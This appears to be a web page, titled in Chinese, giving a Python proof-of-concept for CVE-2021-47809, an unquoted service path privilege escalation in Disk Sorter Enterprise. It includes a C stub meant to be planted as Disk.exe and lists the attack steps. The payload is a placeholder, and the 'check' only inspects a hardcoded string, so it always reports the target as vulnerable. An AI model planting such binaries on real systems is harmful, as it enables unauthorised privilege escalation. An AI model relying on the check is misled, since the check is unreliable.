CVE-2021-47809: Disk Sorter Enterprise未引号服务路径权限提升漏洞

#!/usr/bin/env python3 # CVE-2021-47809 PoC - Disk Sorter Enterprise Unquoted Service Path # Author: Security Researcher # Note: This is for educational and authorized testing purposes only import os import sys import subprocess import time def check_vulnerability(): """Check if the vulnerable service exists""" service_name = "DiskSorterEnterprise" service_path = r"C:\Program Files\Disk Sorter Enterprise\bin\disksrs.exe" print(f"[*] Checking for vulnerable service: {service_name}") print(f"[*] Service binary path: {service_path}") # Check if path contains spaces and is not quoted if ' ' in service_path and not service_path.startswith('"'): print("[+] Service path is unquoted - vulnerability may exist") return True return False def create_malicious_executable(): """Create a malicious executable to be placed in the unquoted path""" malicious_path = r"C:\Program Files\Disk.exe" # Create a simple reverse shell or payload # This is a placeholder - actual implementation would contain actual malicious code payload_code = ''' #include <windows.h> #include <stdio.h> int main() { // This would contain actual malicious payload // For demonstration, just create a log file FILE *fp = fopen("C:\\\\temp\\\\pwned.log", "w"); if (fp) { fprintf(fp, "Exploited by CVE-2021-47809 at %s\\n", __TIMESTAMP__); fclose(fp); } // Spawn original service and exit WinExec("C:\\\\Program Files\\\\Disk Sorter Enterprise\\\\bin\\\\disksrs.exe", SW_HIDE); return 0; } ''' print(f"[!] In real attack, malicious executable would be created at: {malicious_path}") print("[!] This PoC does not create any malicious files") return True def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2021-47809 - Disk Sorter Enterprise Unquoted Service Path") print("=" * 60) if not check_vulnerability(): print("[-] Target is not vulnerable") return False create_malicious_executable() print("\n[*] Attack requires:") print(" 1. Write access to C:\\\\Program Files\\\\ directory") print(" 2. Ability to restart the DiskSorter service") print(" 3. Place malicious Disk.exe in the path") print(" 4. Wait for service restart") return True if __name__ == "__main__": exploit()